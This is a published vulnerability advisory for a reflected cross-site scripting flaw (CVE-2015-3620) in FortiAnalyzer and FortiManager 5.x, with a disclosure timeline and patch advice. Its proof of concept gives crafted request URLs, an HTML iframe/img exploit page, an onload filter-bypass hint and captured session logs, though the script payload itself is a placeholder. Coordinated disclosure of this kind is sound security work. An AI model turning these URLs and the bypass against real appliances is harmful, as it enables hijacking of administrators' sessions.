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Fortinet FortiAnalyzer / FortiManager Cross Site Scripting

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Document Title:
===============
Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1354

Security Bulletin FortiGuard:  http://www.fortiguard.com/advisory/FG-IR-15-005/

PSIRT ID: 1327458

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620

CVE-ID:
=======
CVE-2015-3620


Release Date:
=============
2015-05-05


Vulnerability Laboratory ID (VL-ID):
====================================
1354


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data gathered 
from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range of data, 
including security events, network traffic, Web content, and email, to measure your security posture regulatory compliance. 
FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse deployment 
types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for large 
organizations and multi-tenant environments, smaller networks and mid-enterprise organizations

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html )

The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other syslog-compatible 
devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including traffic, event, virus, 
attack, Web content, and email data, mining the data to determine your security stance and assure regulatory compliance. 

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2014-12-01:  Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-12-02:  Vendor Notification 1 (Fortiguard Security - CERT Team)
2015-02-10:  Vendor Notification 2 (Fortiguard Security - CERT Team)
2015-02-13:  Vendor Response/Feedback (Fortiguard Security - CERT Team)
2015-04-30:  Vendor Fix/Patch (Fortinet Developer Team)
2015-05-05:  Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information.

The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side 
script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the test query display module.
The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET.

The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. To bypass the validation filter 
and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side script code. The problem is that 
the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the appliance and executes as dom.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
        [+] GET

Vulnerable Module(s):
        [+] Reports > Advanced > Dataset

Vulnerable Parameter(s):
        [+] name
        [+] query

Affected Module(s):
        [+] View Dataset - SQL RUN Query Display


During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. 
The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote cross site scripting vulnerability.

Affected Model(s):
        [+] FortiManager 5.2.0 GA, 5.2.1 GA
        [+] FortiManager 5.0.3 GA to 5.0.10 GA release
        [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release

Affected Version(s):
        [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA)


Proof of Concept (PoC):
=======================
PoC: 
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C

https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C


Exploit: PoC

<html>
<head><body>
<title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title>
<iframe src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<img src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&
time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<iframe src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C>
<br>
<img src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22
week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C>
</body></head>
</html>


Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name

          <tr id="yui_3_5_0_1_1417083590427_1543">
            <td id="yui_3_5_0_1_1417083590427_1542" colspan="2">
              <input id="id_test_sql" value="Test" type="button">
            </td>
          </tr>

          <!-- Output Console -->
          <tr>
            <td colspan="2" id="id_sql_console_output_td">
<div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR:  unterminated quoted identifier 
at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) <
^
</pre></code></iframe></code></pre></div>
            <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" hidden="true"></td>
          </tr>
        </tbody>


--- PoC Session Logs [GET] ---
Status: 200[OK] 
GET https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[-1] Mime Type[application/json]
   Request Header:
      Host[fortianalyzer.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11]
      Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      Expires[-1]
      Pragma[no-cache]
      Cache-Control[no-cache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Keep-Alive[timeout=30, max=72]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[application/json; charset=UTF-8]


-

Status: 200[OK] 
GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11]
      Connection[keep-alive]
   Response Header:
      Date[Thu, 27 Nov 2014 10:23:54 GMT]
      Server[Apache]
      Vary[Cookie,Accept-Encoding]
      Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/]
      Content-Encoding[gzip]
      Keep-Alive[timeout=30, max=70]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=utf-8]




Reference(s):
https://fortianalyzer.127.0.0.1:8080/p/report/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/
https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data set view module.
Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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